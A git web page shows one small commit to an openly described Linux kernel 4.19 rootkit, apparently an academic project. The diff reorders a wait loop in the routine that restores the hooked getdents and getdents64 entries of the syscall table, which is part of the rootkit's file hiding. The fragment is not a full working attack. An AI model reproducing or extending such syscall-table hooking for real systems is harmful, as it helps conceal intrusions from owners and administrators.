linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 71bd073ee49b589e2f09f89c3ad80da9d6aadcc4
parent 9e022750c9d494742ad7969f3ccdb0027b5f0825
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 29 Nov 2020 11:39:52 +0100

refactors code

Diffstat:
Msrc/filehide.c | 4++--
1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/filehide.c b/src/filehide.c @@ -25,15 +25,15 @@ unhide_files(void) { if (sys_getdents) { disable_protection(); - while (atomic_read(&getdents_count) > 0); sys_calls[__NR_getdents] = (void *)sys_getdents; + while (atomic_read(&getdents_count) > 0); enable_protection(); } if (sys_getdents64) { disable_protection(); - while (atomic_read(&getdents64_count) > 0); sys_calls[__NR_getdents64] = (void *)sys_getdents64; + while (atomic_read(&getdents64_count) > 0); enable_protection(); } }